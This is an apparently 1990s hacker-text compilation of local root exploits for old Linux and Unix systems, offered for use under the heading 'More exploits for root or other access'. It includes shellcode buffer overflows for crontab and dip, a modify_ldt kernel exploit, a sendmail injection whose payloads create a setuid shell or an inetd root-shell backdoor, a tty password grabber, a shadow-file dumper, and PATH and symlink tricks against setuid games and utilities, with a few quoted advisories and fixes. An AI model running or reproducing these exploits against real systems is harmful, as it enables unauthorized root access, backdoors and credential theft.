More exploits for
root or other access
Topics:
Vixie Crontab Buffer Overflow for RedHat Linux
Root Dip Exploit
ldt - Text By Quantumg
Suid Perl - Text By Quantumg
Abuse Sendmail 8.6.9
ttysurf - Grab Someone's tty
shadow.c - Get Shadow passwd Files
Abuse Root Exploit (linux game program)
Doom (game) Root Exploit - Makes Suid Root Shell
Dosmenu Suid Root Exploit
Doom Root killmouse Exploit
Root Exploit For Resize Icons
Root Console Exploit For restorefont
Root rxvt X Server Exploit
Root wuftpd Exploit
A Shell Script Called gimme, Used To Read Any System File
Vixie Crontab Buffer Overflow for RedHat
Linux
If crontab is suid it is more then likely exploitable.
-----------cut here
/* vixie crontab buffer overflow for RedHat Linux
*
* I don't think too many people know that redhat uses vixie crontab.
* I didn't find this, just exploited it.
*
*
* Dave G. <daveg@escape.com>
* 10/13/96
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#define DEFAULT_OFFSET
-1240
#define BUFFER_SIZE
100 /* MAX_TEMPSTR is 100 */
#define HAPPY_FILE
"./Window"
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main(int argc, char **argv)
{
int fd;
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
/*
* The sscanf line reads for 'name' as %[^ =]. Neither a space,
nor
* a '=' character appears below
*/
int i;
int ofs = DEFAULT_OFFSET;
/* if we have a argument, use it as offset, else use default
*/
if(argc == 2)
ofs = atoi(argv[1]);
else if (argc > 2) {
fprintf(stderr, "egg [offset]\n");
exit(-1);
}
/* print the offset in use */
printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (878/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr++ = '=';
*ptr++ = 'X';
*ptr++ = '\n';
*ptr = 0;
printf("Writing to %s\n", HAPPY_FILE);
/*
* The sleep is required because as soon as crontab opens the tmp
file it
* stat's and saves it. After the EDITOR program exists it stats
again
* and if they are equal then it assumes changes weren't made and
exits.
*/
fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
write (fd, buff, strlen(buff));
close(fd);
execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL);
/* Successful completion */
exit(0);
}
----------- cut here
Root Dip Exploit
in /sbin you will find a symbolic link called dip to a suid root binary.
Chances are, if this file is suid, it's sploitable.
-------- cut here
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_DIP "/sbin/dip"
u_char shell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hs";
u_long esp() { __asm__("movl %esp, %eax"); }
main()
{
u_char buf[1024];
u_long addr;
int i, f;
strcpy(buf, "chatkey ");
addr = esp() - 192;
for (i=8; i<128+16; i+=4)
*((u_long *) (buf+i)) = addr;
for (i=128+16; i<512; i++)
buf[i] = 0x90;
for (i=0; i<strlen(shell); i++)
buf[512+i] = shell[i];
buf[512+i] = '\n';
if ((f = open("/tmp/temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600))
< 0) {
perror("temp.dip");
exit(0);
}
write(f, buf, 512+i);
close(f);
execl(PATH_DIP, "dip", "/tmp/temp.dip", (char *)0);
}
---------- cut here
ldt - Text By Quantumg
this one is a little old but I'm rather proud of it so I thought I'd give
it a praise. in writing the linux kernel the guys who wrote a certain
section fucked up. they let you stretch and modify the area of memory
you can access. at first the sploit required a System.map to be in
the
root dir. so the simple solution to the bug was to delete all System.map
files off the system and remove all the uncompressed kernels (cause you
can generate a System.map by doing an nm on uncompressed kernels), this
is now rather stupid cause there are patches for all kernel versions with
the bug and I have written a version of this sploit that doesn't need a
System.map.
---------- cut here
/* this is a hack of a hack. a valid System.map was needed to get
this
sploit to werk.. but not any longer.. This sploit will give
you root
if the modify_ldt bug werks.. which I beleive it does in any
kernel
before 1.3.20 ..
QuantumG
*/
/* original code written by Morten Welinder.
*
* this required 2 hacks to work on the 1.2.13 kernel that I've tested
on:
* 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.
* 2. the _task in the System.map file has no leading underscore.
* I am not sure at what point these were changed, if you are
* using this on a newer kernel compile with NEWERKERNEL defined.
* &nbs
p;
-ReD
*/
#include <linux/ldt.h>
#include <stdio.h>
#include <linux/unistd.h>
#include <signal.h>
#ifdef NEWERKERNEL
#include <asm/sigcontext.h>
#endif
#define __KERNEL__
#include <linux/sched.h>
#include <linux/module.h>
static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned
long, bytecount)
#define KERNEL_BASE 0xc0000000
/* ------------------------------------------------------------------------
*/
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
unsigned char res;
asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
: "=a" (res)
: "r" (seg), "r" (ofs));
return res;
}
/* ------------------------------------------------------------------------
*/
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
: /* No results. */
: "r" (seg), "r" (ofs), "r" (b));
}
/* ------------------------------------------------------------------------
*/
void
memgetseg (void *dst, int seg, const void *src, int size)
{
while (size-- > 0)
*(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* ------------------------------------------------------------------------
*/
void
memputseg (int seg, void *dst, const void *src, int size)
{
while (size-- > 0)
__farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* ------------------------------------------------------------------------
*/
int
main ()
{
int stat, i,j,k;
struct modify_ldt_ldt_s ldt_entry;
FILE *syms;
char line[100];
struct task_struct **task, *taskptr, thistask;
struct kernel_sym blah[4096];
printf ("Bogusity checker for modify_ldt system call.\n");
printf ("Testing for page-size limit bug...\n");
ldt_entry.entry_number = 0;
ldt_entry.base_addr = 0xbfffffff;
ldt_entry.limit = 0;
ldt_entry.seg_32bit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
ldt_entry.read_exec_only = 0;
ldt_entry.limit_in_pages = 1;
ldt_entry.seg_not_present = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
/* Continue after reporting error. */
printf ("This bug has been fixed in your kernel.\n");
else
{
printf ("Shit happens: ");
printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
}
printf ("Testing for expand-down limit bug...\n");
ldt_entry.base_addr = 0x00000000;
ldt_entry.limit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
ldt_entry.limit_in_pages = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
{
printf ("This bug has been fixed in your
kernel.\n");
return 1;
}
else
{
printf ("Shit happens: ");
printf ("0x00000000 - 0xfffffffd is accessible.\n");
}
i = get_kernel_syms(blah);
k = i+10;
for (j=0; j<i; j++)
if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current"))
k = j;
if (k==i+10) { printf("current not found!!!\n"); return(1); }
j=k;
taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);
memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));
taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long)
taskptr);
memgetseg (&thistask, 7, taskptr, sizeof (thistask));
if (thistask.pid!=getpid()) { printf("current process not found\n");
return(1); }
printf("Current process is %i\n",thistask.pid);
taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long)
thistask.p_pptr);
memgetseg (&thistask, 7, taskptr, sizeof (thistask));
if (thistask.pid!=getppid()) { printf("current process not found\n");
return(1); }
printf("Parent process is %i\n",thistask.pid);
thistask.uid = thistask.euid = thistask.suid = thistask.fsuid =
0;
thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid =
0;
memputseg (7, taskptr, &thistask, sizeof (thistask));
printf ("Shit happens: parent process is now root process.\n");
return 0;
};
----------- cut here
Suid Perl - Text By Quantumg
In the /usr/bin dir (usually) you will find a suid root binary called
suidperl. If this file is suid root it is most probably sploitable.
You need to set this file suid
(chmod 4700 will do it) and execute it to get root.
---------- cut here
#!/usr/bin/suidperl
$> = 0;
#set effective user id
$ENV{'PATH'} = '/bin:/usr/bin';
#secure the session
$ENV{'IFS'} = '' if $ENV{'IFS'} ne '';
$execpath = "/bin/sh";
#sameol sameol
$execpath =~ /(.*)/;
#untaint the variable
$boom = $1;
#$boom untainted
system $boom;
#run EUID=0 shell
----------------cut here
Abuse Sendmail 8.6.9
-----------cut here
/* smh.c - atreus - Michael R. Widner (2/27/95)
* <widner@uchicago.edu> <atreus@primus.com>
* a quick hack to abuse sendmail 8.6.9 or whatever else is subject
to this
* hole. It's really just a matter of passing newlines in arguments
to
* sendmail and getting the stuff into the queue files. If we
run this
* locally with -odq we are guaranteed that it will be queue, rather
than
* processed immediately.
* usage: smh [ username [/path/to/sendmail]]
* It's worth noting that this is generally only good for getting
bin.
* sendmail still wants to process the sendmail.cf file, which contains
* Ou1 and Og1 most of the time, limiting you to bin access.
Is there
* a way around this?
* cc -o smh smh.c should do the trick. This just creates a
bin owned
* mode 6777 copy of /bin/sh in /tmp called /tmp/newsh. Note
that on some
* systems this is pretty much worthless, but you're smart enough
to know
* which systems those are. Aren't you?
bash$ ./smh root /usr/lib/sendmail
bash$ /usr/lib/sendmail -q
*/
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
/* Take Your Pick */
#define EVIL_COMMAND1 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh
-c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/cp /bin/sh
/tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii "
#define EVIL_COMMAND2 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh
-c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/echo ingreslock
stream tcp nowait root /bin/sh /bin/sh >/tmp/.inetd.conf\">\nR<\"|/usr/sbin/inetd
/tmp/.inetd.conf\">\n$rascii "
main(argc, argv)
int argc;
char **argv;
{
execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",
EVIL_COMMAND1,
argv[1] ? argv[1] : "atreus",0);
}
----------- cut here
ttysurf - Grab Someone's tty
------------cut here
#include <stdio.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/termios.h>
#define DEBUG 1 /* Enable
additional debugging info (needed!) */
#define USLEEP /*
Define this if your UNIX supports usleep() */
#ifdef ULTRIX
#define TCGETS TCGETP /* Get termios structure */
#define TCSETS TCSANOW /* Set termios structure */
#endif
handler(signal)
int signal;
/* signalnumber */
{
/* do nothing, ignore the signal */
if(DEBUG) printf("Ignoring signal
%d\n",signal);
}
int readandpush(f,string)
FILE *f;
char *string;
{
char *cp,*result;
int e;
struct termios termios;
result=fgets(string,20,f);
/* Read a line into string */
if (result==NULL)
{
perror("fgets()");
return(1);
}
if (DEBUG)
{
printf("String: %s\n",string);
fflush(stdout);
}
ioctl(0,TCGETS,&termios);
/* These 3 lines turn off input echo */
/* echo = (termios.c_lflag
& ECHO); */
termios.c_lflag=((termios.c_lflag
| ECHO) - ECHO);
ioctl(0,TCSETS,&termios);
for (cp=string;*cp;cp++)
/* Push it back as input */
{
e=ioctl(0,TIOCSTI,cp);
if(e<0)
{ perror("ioctl()");
return(1);
}
}
return(0);
}
main(argc,argv)
int argc;
char *argv[];
{
/* variables */
int err;
FILE *f;
char *term
= "12345678901234567890";
char *login
= "12345678901234567890";
char *password = "12345678901234567890";
if (argc < 2)
{
printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a
file !\n",argv[0]);
printf("Enter ttyname: ");
gets(term);
}
else term=argv[argc-1];
signal(SIGQUIT,handler);
signal(SIGINT,handler);
signal(SIGTERM,handler);
signal(SIGHUP,handler);
signal(SIGTTOU,handler);
close(0);
/* close stdin */
#ifdef ULTRIX
if(setpgrp(0,100)==-1)
perror("setpgrp:"); /* Hopefully this works */
#else
if(setsid()==-1)
perror("setsid:"); /* Disconnect from our controlling TTY and
start a new session as sessionleader */
#endif
f=fopen(term,"r");
/* Open tty as a stream, this guarantees
 
;
getting file descriptor 0 */
if (f==NULL)
{
printf("Error opening %s with fopen()\n",term);
exit(2);
}
if (DEBUG) system("ps -xu>>/dev/null
&");
fclose(f);
/* Close the TTY again */
f=fopen("/dev/tty","r");
/* We can now use /dev/tty instead */
if (f==NULL)
{
printf("Error opening /dev/tty with fopen()\n",term);
exit(2);
}
if(readandpush(f,login)==0)
{
#ifdef USLEEP
usleep(20000); /* This gives login(1) a chance to read the
string, or the second call would read the
input that the first call pushed back ! /*
#else
for(i=0;i<1000;i++)
err=err+(i*i)
/* error /* Alternatives not
yet implemented */
#endif
readandpush(f,password);
printf("Result: First: %s Second: %s\n",login,password);
}
fflush(stdout);
sleep(30);
/* Waste some time, to prevent that we send a SIGHUP
to login(1), which would kill the user. Instead,
wait a while. We then send SIGHUP to the shell of
the user, which will ignore it. */
fclose(f);
}
--------------cut here
shadow.c - Get Shadow passwd Files
----------- cut here
/* This source will/should print out SHADOWPW passwd files.
*/
struct SHADOWPW { /* see getpwent(3)
*/
char *pw_name;
char *pw_passwd;
int pw_uid;
int pw_gid;
int pw_quota;
char *pw_comment;
char *pw_gecos;
char *pw_dir;
char *pw_shell;
};
struct passwd *getpwent(), *getpwuid(), *getpwnam();
#ifdef elxsis?
/* Name of the shadow password file. Contains password and aging
info */
#define SHADOWPW "/etc/shadowpw"
#define SHADOWPW_PAG "/etc/shadowpw.pag"
#define SHADOWPW_DIR "/etc/shadowpw.dir"
/*
* Shadow password file pwd->pw_gecos field contains:
*
* <type>,<period>,<last_time>,<old_time>,<old_password>
*
* <type> = Type of password criteria to enforce (type
int).
* BSD_CRIT (0), normal BSD.
* STR_CRIT (1), strong passwords.
* <period> = Password aging period (type long).
* 0, no aging.
* else, number of seconds in aging period.
* <last_time> = Time (seconds from epoch) of the
last password
* change (type long).
* 0, never changed.n
* <old_time> = Time (seconds from epoch) that the
current password
* was made the <old_password> (type long).
* 0, never changed.ewromsinm
* <old_password> = Password (encrypted) saved for an aging
<period> to
* prevent reuse during that period (type char [20]).
* "*******", no <old_password>.
*/
/* number of tries to change an aged password */
#define CHANGE_TRIES 3
/* program to execute to change passwords */
#define PASSWD_PROG "/bin/passwd"
/* Name of the password aging exempt user names and max number of
entires */
#define EXEMPTPW "/etc/exemptpw"
#define MAX_EXEMPT 100
/* Password criteria to enforce */
#define BSD_CRIT 0 /* Normal BSD password criteria */
#define STR_CRIT 1 /* Strong password criteria */
#define MAX_CRIT 1
#endif elxsi
#define NULL 0
main()
{
struct passwd *p;
int i;
for (;1;) {;
p=getpwent();
if (p==NULL) return;
printpw(p);
}
}
printpw(a)
struct SHADOWPW *a;
{
printf("%s:%s:%d:%d:%s:%s:%s\n",
a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
a->pw_gecos,a->pw_dir,a->pw_shell);
}
/* SunOS 5.0 /etc/shadow */
/* SunOS4.1+c2 /etc/security/passwd.adjunct
*/
------------ cut here
Abuse Root Exploit (linux game program)
---------- cut here
There is a security hole in RedHat 2.1, which installs the game abuse,
/usr/lib/games/abuse/abuse.console suid root. The abuse.console program
loads its files without absolute path names, assuming the user is running
abuse from the /usr/lib/games/abuse directory. One of these files
in the
undrv program, which abuse executes as root. If the user is not in
the
abuse directory when running this, an arbitrary program can be substituted
for undrv, allowing the user to execute arbitrary commands as root.
If abuse.console needs to be run by users other than root
at the console,
provisions need to be made in the code to not execute or load any files
as root.
Program: /usr/lib/games/abuse/abuse.console suid root
Affected Operating Systems: Red Hat 2.1 linux distribution
Requirements: account on system
Patch: chmod -s /usr/lib/games/abuse/abuse.console
Security Compromise: root
Author: Dave M. (davem@cmu.edu)
Synopsis: abuse.console runs undrv without an absolute
pathname while executing as root, allowing
a user to substitute the real undrv with
an arbitrary program.
Exploit:
#!/bin/sh
#
# abuser.sh
# exploits a security hole in abuse to create
# a suid root shell /tmp/abuser on a linux
# Red Hat 2.1 system with the games package
# installed.
#
# For release 2/2/96 - 1 drink credit please.
#
# by Dave M. (davem@cmu.edu)
#
echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/lib/games/abuse/abuse.console
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/undrv
#!/bin/sh
/bin/cp /bin/sh /tmp/abuser
/bin/chmod 4777 /tmp/abuser
_EOF_
cat << _EOF_ >> /tmp/the_wall
so ya thought ya might like to go to the show
to feel the warm thrill of confusion that space cadet glow
tell me is something eluding you sunshine?
is this not what you expected to see?
if you wanna find out what's behind these cold eyes
you'll just have to claw your way through this disguise
_EOF_
chmod +x /tmp/undrv
PATH=/tmp
echo ================ Executing Abuse
/usr/lib/games/abuse/abuse.console
/bin/rm /tmp/undrv
/bin/rm /tmp/the_wall
if test -u /tmp/abuser
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi
----------- cut here
Doom (game) Root Exploit - Makes Suid
Root Shell
----------- Start reading
From bo@ebony.iaehv.nl Tue Dec 17 18:53:18 1996
Date: Tue, 17 Dec 1996 10:18:24 +0100
From: Bo <bo@ebony.iaehv.nl>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Subject: Re: Linux: killmouse/doom
> From: Joe Zbiciak <im14u2c@cegt201.bradley.edu>
> Subject: Re: Linux: exploit for killmouse.
>
> Which reminds me, there's a bigger hole in Doom. It doesn't drop
its
> root permissions soon enough! The user is allowed to set a sound
server
> in his/her .doomrc. Normally, this is set to "sndserver".
Howver, this
> can be set to *any* program, and that program runs as root!!
Yes, very true. And just in case anybody collects these scripts,
here's
the obvious one:
------------ CUT HERE --------------
#!/bin/sh
# Tue Dec 17 10:02:20 MET 1996 Bo
echo 'sndserver "/tmp/sndserver"' > .doomrc
cat > /tmp/sndserver.c << EOF
#include <stdio.h>
#include <unistd.h>
main() {
if (fork()) while (getc(stdin));
else system("cp /bin/sh /tmp;
chmod +s /tmp/sh");
/* or whatever you like to do */
}
EOF
gcc /tmp/sndserver.c -o /tmp/sndserver
------------ CUT HERE --------------
The fork() is just so that doom runs on nicely without
locking up the
keyboard and sndserver gobbles up all the sound
data send to it. Run
the script, start sdoom, quit the normal way, and execute /tmp/sh.
Thanks for pointing it out, Joe.
Regards,
Bo.
--
"Heisenberg may have been here".
--------------- end of read
Dosmenu Suid Root Exploit
--------- read
In Debian 1.1, the optional DOSEMU package installs /usr/sbin/dos
setuid root. This is a serious security hole which can be exploited
to gain access to any file on the system.
Package: dosemu
Version: 0.64.0.2-9
------- start of cut text --------------
$ cat /etc/debian_version
1.1
$ id
uid=xxxx(quinlan) gid=xxxx(quinlan) groups=xxxx(quinlan),20(dialout),24(cdrom)
[quinlan:~]$ ls -al /usr/bin/dos
-rwsr-xr-x 1 root root
569576 Oct 24 00:05 /usr/bin/dos
$ ls -al /root/foo
-rw------- 1 root root
1117 Nov 13 23:10 /root/foo
$ dos -F /root/foo
[ Prints /root/foo, which is not readable by user `quinlan'. ]
------- Cut here
I expect there may be other holes in dosemu other than this one that
can be exploited if it is installed setuid root. It took about 60
seconds to find this hole once I realized /usr/bin/dos was setuid
root.
Dan
Note: This security hole can be corrected by removing the suid bit from
/usr/bin/dos:
----------------------------
$ chmod u-s /usr/bin/dos
----------------------------
Jonathan
----------- end of read
Doom Root killmouse Exploit
System:
Probably Linux specific. Slackware 3.0 (installs
Linux 1.2.13) which
have gpm utility and/or the Doom package
installed are vulnerable.
Other distributions might be too.
Impact:
Local users can acquire root status.
Background:
The problem is the killmouse/startmouse command
that is part of Doom
package on Linux systems. It is actually
a C-wrapper that runs two
scripts (killmouse.sh/startmouse.sh). It runs suid root.
Problem:
I would try to describe the problem but I can't stop laughing.
Exploit:
This can be exploited in a few similar ways.
Here's just one. Let's
assume the gpm utility is not running. We can't start
it up ourselves
as gpm is only to be run by root. So we'll use startmouse to fire it up:
$ touch /tmp/gpmkilled
$ /usr/games/doom/startmouse
ps -aux | grep gpm
bo 1436 0.0 2.0
40 312 v03 R 16:33 0:00 grep gpm
root 1407 0.0 2.4
42 368 ? S 16:24 0:00 /usr/bin/gpm
t ms
Fine, it's running. Now we'll use killmouse to
kill the process, but
first we set our umask to 0 and link /tmp/gpmkilled to /root/.rhosts:
$ umask 0
$ ln -s /root/.rhosts /tmp/gpmkilled
$ /usr/games/doom/killmouse
1407 ? S 0:00 gpm t ms
$ ls -l /root/.rhosts
-rw-rw-rw- 1 root users
0 Dec 13 16:44 /root/.rhosts
$ echo localhost bo > /root/.rhosts
$ rsh -l root localhost sh -i
bash#
Bingo. On some systems gpm might not be started in /etc/rc.d/rc.local
so the startmouse script will fail. But gpm might be
running already.
If neither of these conditions are met, note that startmouse.sh creates
/tmp/gpmscript and runs it in a shell. There's a window of time between
creating the script and executing it, so we have a nice race
condition
here; it can be replaced with anything you like prior to execution.
Solution:
Remove setuid bits of killmouse/startmouse.
Better yet - nuke them.
While your at it, nuke Doom too - it's a stupid game anyway :-)
Best regards,
Bo (bo@ebony.iaehv.nl)
killmouse exploit
------------------ cut here
/usr/games/doom/startmouse.sh:
#!/bin/sh
if [ -r /tmp/gpmkilled ]; then
/usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript
/bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilled
fi
/usr/games/doom/killmouse.sh:
#!/bin/sh
if /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ; then
GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilled
fi
----------- cut here
Root Exploit For Resize Icons
There is a security hole in RedHat 2.1, which installs the program
/usr/bin/resizecons suid root. The resizecons program allows a user
to change the videmode of the console. During this process, it runs
the program restoretextmode without an absolute pathname, assuming the
correct version will be found in the path, while running with root
privileges. It then executes setfont in the same manner. By
setting
the path to find a rogue restoretextmode, a user can execute an arbitrary
program as root.
As a more amusing aside, the file /tmp/selection.pid is read and the
pid contained within is sent a SIGWINCH, allowing a user on the system
to force a redraw of the screen to an arbitrary process (that handles
SIGWINCH calls) on the machine.
If /usr/bin/resizecons needs to be run by users other than root at the
console, provisions need to be made in the code to execute the outside
utilities with absolute pathnames, and to check access rights on files
before opening.
Program: /usr/bin/resizecons
Affected Operating Systems: Red Hat 2.1 linux distribution
Requirements: account on system
Temporary
Patch: chmod -s /usr/bin/resizecons
Security Compromise: root
Author: Dave M. (davem@cmu.edu)
Synopsis: resizecons runs restoretextmode without an
absolute pathname while executing as root,
allowing a user to substitute the real
program with arbitrary commands.
----------cut here
wozzeck.sh:
#!/bin/sh
#
# wozzeck.sh
# exploits a security hole in /usr/bin/resizecons
# to create a suid root shell in /tmp/wozz on a
# linux Red Hat 2.1 system.
#
# by Dave M. (davem@cmu.edu)
#
echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/bin/resizecons
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/313x37
This exploit is dedicated to
Wozz. Use it with care.
_EOF_
cat << _EOF_ > /tmp/restoretextmode
#!/bin/sh
/bin/cp /bin/sh /tmp/wozz
/bin/chmod 4777 /tmp/wozz
_EOF_
/bin/chmod +x /tmp/restoretextmode
PATH=/tmp
echo ================ Executing resizecons
/usr/bin/resizecons 313x37
/bin/rm /tmp/restoretextmode
/bin/rm /tmp/313x37
if test -u /tmp/wozz
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi
-------------- cut here
Root Console Exploit For restorefont
Linux 'restorefont' Security Holes
by FEH Staff
Linux's svgalib utilities, required to be suid root, have a problem in
that
they do not revoke suid permissions before reading a file. This is
exploited
in the restorefont utility, but similar bugs exist in other svgalib utilities.
The restorefont utility serves two functions. First, it will read
a font from
a file and write it to the console as the font. Second, it will read
a font
from the console and write it out to a file. Luckily, the specific
bug
in restorefont can only be exploited if someone is at the console, reducing
its overall impact on the security of the system as a whole.
In writing the utilities, the authors are cognizant of the fact that when
writing out the font, suid permissions must first be given up; it is in
fact
commented as such in the code. However, when reading in a font, the
program
is still running with full suid root permissions. This allows us
to read in
any file for the font that root could access (basically, anything).
The applicable code to read in the file is shown below:
#define FONT_SIZE 8192
unsigned char font[FONT_SIZE];
if (argv[1][1] == 'r') {
FILE *f;
f = fopen(argv[2], "rb");
if (f == NULL) {
error:
perror("restorefont");
exit(1);
}
if(1!=fread(font, FONT_SIZE, 1, f))
{
if(errno)
goto error;
puts("restorefont: input file corrupted.");
exit(1);
}
fclose(f);
We can see from this that the file to be read in has to be at least 8k,
as if it is not, the program will produce an error and exit. If the
file
is at least 8k, the first 8k are read into the buffer, and the program
proceeds to set whatever the contents of the file are to the font:
vga_disabledriverreport();
vga_setchipset(VGA); /* avoid SVGA detection */
vga_init();
vga_setmode(G640x350x16);
vga_puttextfont(font);
vga_setmode(TEXT);
At this point, the console will now look quite unreadable if you are
reading something other than a font from that file. But, the data
that
is put into the font is left untouched and is readable using the -w option
of restorefont. We then read the font back from video memory to a
new file,
and our job is complete, we have read the first 8k of a file we shouldn't
have had access to. To prevent detection of having run this, we probably
shouldn't leave an unreadable font on the screen, so we save and then restore
the original font before reading from the file.
The complete exploit is shown below:
Program: restorefont, a svgalib utility
Affected Operating Systems: linux
Requirements: logged in at console
Security Compromise: user can read
first 8k of any file of at least
8k in size on local filesystems
Synopsis: restorefont reads a font file while suid root,
writing it to video memory as the current vga
font; anyone at console can read the current
font to a file, allowing you to use video memory
as an 8k file buffer.
-------------
rfbug.sh:
--------------------cut here
#!/bin/sh
restorefont -w /tmp/deffont.tmp
restorefont -r $1
restorefont -w $2
restorefont -r /tmp/deffont.tmp
rm -f /tmp/deffont.tmp
-----------------------------------cut here
Root rxvt X Server Exploit
Program: rxvt
Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with
rxvt suid root (and compiled with PRINT_PIPE)
Requirements: account on system, X server
Temporary
Patch: chmod -s /usr/X11R6/bin/rxvt
Security Compromise: root
Author: Dave M. (davem@cmu.edu)
Synopsis: rxvt fails to give up root privileges before
opening a pipe to a program that can be specified
by the user.
Exploit:
1. Set DISPLAY environment variable if necessary so you can use x
clients.
2. In user shell:
$ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' >
/tmp/rxbug
$ chmod +x /tmp/rxbug
$ rxvt -print-pipe /tmp/rxbug
3. In rxvt xclient:
$ cat
ESC[5i
ESC[4i
(The client will close at this point with a broken pipe)
4. $ /tmp/rxsh
# whoami
root
#
Root wuftpd Exploit
The following is gleaned from the BugTraq mailing list:
-------------------------------------------------------
Since Bugtraq is exceptionally quiet lately, I though I should make it
come alive again with this discussion of the bug that was reported in
the wu.ftpd that comes with some Slackware distributions of Linux.
The report was just before Bugtraq went down for a long time, but
I've found the bug still to be present on all the Linux machines that
I have access to. So maybe it needs to be brought a little more in
the open. Here we go:
ObBug: - Short description of the bug
It involves wu.ftpd being misconfigured at compile time and allowing
SITE EXEC access to /bin (for anonymous or otherwise chroot-ed users
this is ~ftp/bin). Now if in this /bin resides a program that gives
access to executables outside /bin, but in the users reach (such as
/bin/bash that gives access to the user's homedir), this opens up
a root vulnerability. This should have been set to /bin/ftp-exec and
which be set by the _PATH_EXECPATH variable in src/pathnames.h before
compiling. The wu-ftpd-2.4_linux.tgz that I found somewhere on the
net has this securely set as default value.
- How to check ?
$ ftp -n localhost
user: <userid>
password: <passwd>
ftp> quote site exec bash -c id
If vulnerable it gives here: uid=0, gid=0, euid=<yourid>, egid=<your-gids>
Of course, bash should not be available at all
- How to exploit (in case your sysadmin or you think the above is not
a problem)
go to your homedir and make a program: duh.c (or whatever)
main() {
seteuid(0);
setegid(0);
system("/bin/cp /bin/sh ./sh");
system("/bin/chmod 6755 ./sh");
}
$ make duh
$ ftp -n localhost (and login)
user: <userid>
password: <passwd>
ftp> quote site exec bash -c duh
ftp> quit
$ ./sh
bash#
(voila, QED)
- How to fix?
Get the source of wu-ftpd-2.4.linux.tar.gz (stock wu-ftpd-2.4 from wuarchive
doesn't compile on linux) and compile it; you might want to define the
_PATH_PIDNAMES and _PATH_XFERLOG to other values there...(/usr/adm/ftp.pids-%s
and /usr/adm/xferlog for example). If you cannot find that I can email
the
source to you,...if you trust the source I took somewhere unmodified and
if you trust me ;-) An arch search for wu-ftpd-2.4 will give you sites
too.
